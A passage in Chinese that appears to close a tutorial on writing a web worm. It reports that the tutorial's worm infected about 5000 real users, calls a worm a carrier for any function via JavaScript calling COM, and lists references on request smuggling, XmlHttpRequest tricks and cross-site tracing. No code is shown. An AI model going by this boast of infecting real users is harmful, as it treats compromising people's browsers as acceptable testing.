本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因. 本文引用文档资料: "HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)Other XmlHttpRequest tricks (Amit Klein, January 2003)"Cross Site Tracing" (Jeremiah Grossman, January 2003)http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog空虚浪子心BLOG http://www.inbreak.netXeye Team http://xeye.us/ |
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